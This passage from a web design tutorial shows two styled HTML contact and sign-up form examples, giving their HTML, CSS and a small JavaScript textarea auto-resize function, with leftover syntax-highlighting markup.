<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field6"</span>><<span class="kw2">span</span>></span>Message <span class="sc2"><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"required"</span>></span>*<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">textarea</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field6"</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"textarea-field"</span>><<span class="sy0">/</span><span class="kw2">textarea</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span>><<span class="kw2">span</span>></span><span class="sc1">&nbsp;</span><span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Submit"</span> <span class="sy0">/</span>><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">fieldset</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">div</span>>[/css]</span>
<h3>CSS - CODE :</h3>
1</span>
<h3>Form Style 4 :</h3>
<ul>
    <li>This is another nice style with arsenic background color for your form. I tried to give it a little notebook look with dashed bottom borders on the fields.</li>
</ul>
<h3>HTML - CODE :</h3>
<span class="sc2">1<<span class="kw2">form</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"form-style-4"</span> <span class="kw3">action</span><span class="sy0">=</span><span class="st0">""</span> <span class="kw3">method</span><span class="sy0">=</span><span class="st0">"post"</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field1"</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span>Enter Your Name<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field1"</span> required<span class="sy0">=</span><span class="st0">"true"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field2"</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span>Email Address<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"email"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field2"</span> required<span class="sy0">=</span><span class="st0">"true"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field3"</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span>Short Subject<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field3"</span> required<span class="sy0">=</span><span class="st0">"true"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"field4"</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span>Message to Us<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">textarea</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field4"</span> <span class="kw3">onkeyup</span><span class="sy0">=</span><span class="st0">"adjust_textarea(this)"</span> required<span class="sy0">=</span><span class="st0">"true"</span>><<span class="sy0">/</span><span class="kw2">textarea</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">span</span>></span><span class="sc1">&nbsp;</span><span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Send Letter"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>>

CSS – CODE :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<style type<span class="sy0">=</span><span class="st0">"text/css"</span><span class="sy0">></span>
.form-style-<span class="nu0">4</span><span class="br0">{</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">450px</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">16px</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#495C70</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">30px</span> <span class="re3">30px</span> <span class="re3">15px</span> <span class="re3">30px</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="re3">5px</span> <span class="kw2">solid</span> <span class="re0">#53687E</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>submit<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>button<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="kw2">text</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>email<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> textarea<span class="sy0">,</span>
<span class="re1">.form-style-4</span> label
<span class="br0">{</span>
<span class="kw1">font-family</span><span class="sy0">:</span> Georgia<span class="sy0">,</span> <span class="st0">"Times New Roman"</span><span class="sy0">,</span> Times<span class="sy0">,</span> <span class="kw2">serif</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">16px</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fff</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-4</span> label <span class="br0">{</span>
<span class="kw1">display</span><span class="sy0">:</span><span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">10px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-4</span> label <span class="sy0">></span> span<span class="br0">{</span>
<span class="kw1">display</span><span class="sy0">:</span> inline-<span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">float</span><span class="sy0">:</span> <span class="kw1">left</span><span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">150px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="kw2">text</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>email<span class="br0">]</span>
<span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="kw2">transparent</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">border-bottom</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">dashed</span> <span class="re0">#83A4C5</span><span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">275px</span><span class="sy0">;</span>
<span class="kw1">outline</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">0px</span> <span class="re3">0px</span> <span class="re3">0px</span> <span class="re3">0px</span><span class="sy0">;</span>
<span class="kw1">font-style</span><span class="sy0">:</span> <span class="kw2">italic</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-4</span> textarea<span class="br0">{</span>
<span class="kw1">font-style</span><span class="sy0">:</span> <span class="kw2">italic</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">0px</span> <span class="re3">0px</span> <span class="re3">0px</span> <span class="re3">0px</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="kw2">transparent</span><span class="sy0">;</span>
<span class="kw1">outline</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">border-bottom</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">dashed</span> <span class="re0">#83A4C5</span><span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">275px</span><span class="sy0">;</span>
<span class="kw1">overflow</span><span class="sy0">:</span> <span class="kw2">hidden</span><span class="sy0">;</span>
resize<span class="sy0">:</span><span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">height</span><span class="sy0">:</span><span class="re3">20px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-4</span> textarea<span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="kw2">text</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>email<span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>email<span class="br0">]</span> <span class="re2">:focus
</span><span class="br0">{</span>
<span class="kw1">border-bottom</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">dashed</span> <span class="re0">#D9FFA9</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>submit<span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>button<span class="br0">]</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#576E86</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">8px</span> <span class="re3">10px</span> <span class="re3">8px</span> <span class="re3">10px</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span> <span class="re3">5px</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#A8BACE</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>submit<span class="br0">]</span><span class="re2">:hover</span><span class="sy0">,</span>
<span class="re1">.form-style-4</span> input<span class="br0">[</span>type<span class="sy0">=</span>button<span class="br0">]</span><span class="re2">:hover</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#394D61</span><span class="sy0">;</span>
<span class="br0">}</span>
</style<span class="sy0">>

JAVASCRIPT – CODE :

1
2
3
4
5
6
7
<</span>script type<span class="sy0">=</span><span class="st0">"text/javascript"</span><span class="sy0">></span>
<span class="co1">//auto expand textarea</span>
<span class="kw2">function</span> adjust_textarea<span class="br0">(</span>h<span class="br0">)</span> <span class="br0">{</span>
h.<span class="me1">style</span>.<span class="me1">height</span> <span class="sy0">=</span> <span class="st0">"20px"</span><span class="sy0">;</span>
h.<span class="me1">style</span>.<span class="me1">height</span> <span class="sy0">=</span> <span class="br0">(</span>h.<span class="me1">scrollHeight</span><span class="br0">)</span><span class="sy0">+</span><span class="st0">"px"</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="sy0"></</span>script<span class="sy0">>

Form Style 5 :

  • Originally inspired by a codepen example, this form looks great on similar soft background. I think it is ideal for sign-up forms.

HTML – CODE :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<<span class="kw2">div</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"form-style-5"</span>></span>
<span class="sc2"><<span class="kw2">form</span>></span>
<span class="sc2"><<span class="kw2">fieldset</span>></span>
<span class="sc2"><<span class="kw2">legend</span>><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"number"</span>></span>1<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>></span> Candidate Info<span class="sc2"><<span class="sy0">/</span><span class="kw2">legend</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"text"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field1"</span> placeholder<span class="sy0">=</span><span class="st0">"Your Name *"</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"email"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field2"</span> placeholder<span class="sy0">=</span><span class="st0">"Your Email *"</span>></span>
<span class="sc2"><<span class="kw2">textarea</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field3"</span> placeholder<span class="sy0">=</span><span class="st0">"About yourself"</span>><<span class="sy0">/</span><span class="kw2">textarea</span>></span>
<span class="sc2"><<span class="kw2">label</span> <span class="kw3">for</span><span class="sy0">=</span><span class="st0">"job"</span>></span>Interests:<span class="sc2"><<span class="sy0">/</span><span class="kw2">label</span>></span>
<span class="sc2"><<span class="kw2">select</span> <span class="kw3">id</span><span class="sy0">=</span><span class="st0">"job"</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field4"</span>></span>
<span class="sc2"><<span class="kw2">optgroup</span> <span class="kw3">label</span><span class="sy0">=</span><span class="st0">"Indoors"</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"fishkeeping"</span>></span>Fishkeeping<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"reading"</span>></span>Reading<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"boxing"</span>></span>Boxing<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"debate"</span>></span>Debate<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"gaming"</span>></span>Gaming<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"snooker"</span>></span>Snooker<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"other_indoor"</span>></span>Other<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">optgroup</span>></span>
<span class="sc2"><<span class="kw2">optgroup</span> <span class="kw3">label</span><span class="sy0">=</span><span class="st0">"Outdoors"</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"football"</span>></span>Football<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"swimming"</span>></span>Swimming<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"fishing"</span>></span>Fishing<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"climbing"</span>></span>Climbing<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"cycling"</span>></span>Cycling<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="kw2">option</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"other_outdoor"</span>></span>Other<span class="sc2"><<span class="sy0">/</span><span class="kw2">option</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">optgroup</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">select</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">fieldset</span>></span>
<span class="sc2"><<span class="kw2">fieldset</span>></span>
<span class="sc2"><<span class="kw2">legend</span>><<span class="kw2">span</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">"number"</span>></span>2<span class="sc2"><<span class="sy0">/</span><span class="kw2">span</span>></span> Additional Info<span class="sc2"><<span class="sy0">/</span><span class="kw2">legend</span>></span>
<span class="sc2"><<span class="kw2">textarea</span> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">"field3"</span> placeholder<span class="sy0">=</span><span class="st0">"About Your School"</span>><<span class="sy0">/</span><span class="kw2">textarea</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">fieldset</span>></span>
<span class="sc2"><<span class="kw2">input</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">"submit"</span> <span class="kw3">value</span><span class="sy0">=</span><span class="st0">"Apply"</span> <span class="sy0">/</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">form</span>></span>
<span class="sc2"><<span class="sy0">/</span><span class="kw2">div</span>>

CSS – CODE :

example-filename.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<style type<span class="sy0">=</span><span class="st0">"text/css"</span><span class="sy0">></span>
.form-style-<span class="nu0">5</span><span class="br0">{</span>
<span class="kw1">max-width</span><span class="sy0">:</span> <span class="re3">500px</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">10px</span> <span class="re3">20px</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#f4f7f8</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="re3">10px</span> <span class="kw2">auto</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">20px</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#f4f7f8</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span> <span class="re3">8px</span><span class="sy0">;</span>
<span class="kw1">font-family</span><span class="sy0">:</span> Georgia<span class="sy0">,</span> <span class="st0">"Times New Roman"</span><span class="sy0">,</span> Times<span class="sy0">,</span> <span class="kw2">serif</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-5</span> fieldset<span class="br0">{</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-5</span> legend <span class="br0">{</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">1.4em</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">10px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-5</span> label <span class="br0">{</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">8px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"text"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"date"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"datetime"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"email"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"number"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"search"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"time"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"url"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> textarea<span class="sy0">,</span>
<span class="re1">.form-style-5</span> select <span class="br0">{</span>
<span class="kw1">font-family</span><span class="sy0">:</span> Georgia<span class="sy0">,</span> <span class="st0">"Times New Roman"</span><span class="sy0">,</span> Times<span class="sy0">,</span> <span class="kw2">serif</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> rgba<span class="br0">(</span><span class="nu0">255</span><span class="sy0">,</span><span class="nu0">255</span><span class="sy0">,</span><span class="nu0">255</span><span class="sy0">,</span>.1<span class="br0">)</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="kw2">none</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span> <span class="re3">4px</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">16px</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="nu0">0</span><span class="sy0">;</span>
<span class="kw1">outline</span><span class="sy0">:</span> <span class="nu0">0</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">7px</span><span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">100%</span><span class="sy0">;</span>
box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-webkit-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
-moz-box-sizing<span class="sy0">:</span> border-box<span class="sy0">;</span>
<span class="kw1">background-color</span><span class="sy0">:</span> <span class="re0">#e8eeef</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span><span class="re0">#8a97a0</span><span class="sy0">;</span>
-webkit-box-shadow<span class="sy0">:</span> <span class="nu0">0</span> <span class="re3">1px</span> <span class="nu0">0</span> rgba<span class="br0">(</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">0.03</span><span class="br0">)</span> <span class="kw2">inset</span><span class="sy0">;</span>
box-shadow<span class="sy0">:</span> <span class="nu0">0</span> <span class="re3">1px</span> <span class="nu0">0</span> rgba<span class="br0">(</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">0.03</span><span class="br0">)</span> <span class="kw2">inset</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">30px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"text"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"date"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"datetime"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"email"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"number"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"search"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"time"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"url"</span><span class="br0">]</span><span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> textarea<span class="re2">:focus</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> select<span class="re2">:focus</span><span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#d2d9dd</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-5</span> select<span class="br0">{</span>
-webkit-appearance<span class="sy0">:</span> menulist-button<span class="sy0">;</span>
<span class="kw1">height</span><span class="sy0">:</span><span class="re3">35px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-5</span> <span class="re1">.number</span> <span class="br0">{</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#1abc9c</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#fff</span><span class="sy0">;</span>
<span class="kw1">height</span><span class="sy0">:</span> <span class="re3">30px</span><span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">30px</span><span class="sy0">;</span>
<span class="kw1">display</span><span class="sy0">:</span> inline-<span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">0.8em</span><span class="sy0">;</span>
<span class="kw1">margin-right</span><span class="sy0">:</span> <span class="re3">4px</span><span class="sy0">;</span>
<span class="kw1">line-height</span><span class="sy0">:</span> <span class="re3">30px</span><span class="sy0">;</span>
<span class="kw1">text-align</span><span class="sy0">:</span> <span class="kw2">center</span><span class="sy0">;</span>
<span class="kw1">text-shadow</span><span class="sy0">:</span> <span class="nu0">0</span> <span class="re3">1px</span> <span class="nu0">0</span> rgba<span class="br0">(</span><span class="nu0">255</span><span class="sy0">,</span><span class="nu0">255</span><span class="sy0">,</span><span class="nu0">255</span><span class="sy0">,</span><span class="nu0">0.2</span><span class="br0">)</span><span class="sy0">;</span>
border-radius<span class="sy0">:</span> <span class="re3">15px</span> <span class="re3">15px</span> <span class="re3">15px</span> <span class="re3">0px</span><span class="sy0">;</span>
<span class="br0">}</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"submit"</span><span class="br0">]</span><span class="sy0">,</span>
<span class="re1">.form-style-5</span> input<span class="br0">[</span>type<span class="sy0">=</span><span class="st0">"button"</span><span class="br0">]</span>
<span class="br0">{</span>
<span class="kw1">position</span><span class="sy0">:</span> <span class="kw2">relative</span><span class="sy0">;</span>
<span class="kw1">display</span><span class="sy0">:</span> <span class="kw2">block</span><span class="sy0">;</span>
<span class="kw1">padding</span><span class="sy0">:</span> <span class="re3">19px</span> <span class="re3">39px</span> <span class="re3">18px</span> <span class="re3">39px</span><span class="sy0">;</span>
<span class="kw1">color</span><span class="sy0">:</span> <span class="re0">#FFF</span><span class="sy0">;</span>
<span class="kw1">margin</span><span class="sy0">:</span> <span class="nu0">0</span> <span class="kw2">auto</span><span class="sy0">;</span>
<span class="kw1">background</span><span class="sy0">:</span> <span class="re0">#1abc9c</span><span class="sy0">;</span>
<span class="kw1">font-size</span><span class="sy0">:</span> <span class="re3">18px</span><span class="sy0">;</span>
<span class="kw1">text-align</span><span class="sy0">:</span> <span class="kw2">center</span><span class="sy0">;</span>
<span class="kw1">font-style</span><span class="sy0">:</span> <span class="kw2">normal</span><span class="sy0">;</span>
<span class="kw1">width</span><span class="sy0">:</span> <span class="re3">100%</span><span class="sy0">;</span>
<span class="kw1">border</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="kw2">solid</span> <span class="re0">#16a085</span><span class="sy0">;</span>
<span class="kw1">border-width</span><span class="sy0">:</span> <span class="re3">1px</span> <span class="re3">1px</span> <span class="re3">3px</span><span class="sy0">;</span>
<span class="kw1">margin-bottom</span><span class="sy0">:</span> <span class="re3">10px</span><span class="sy0">;</span>
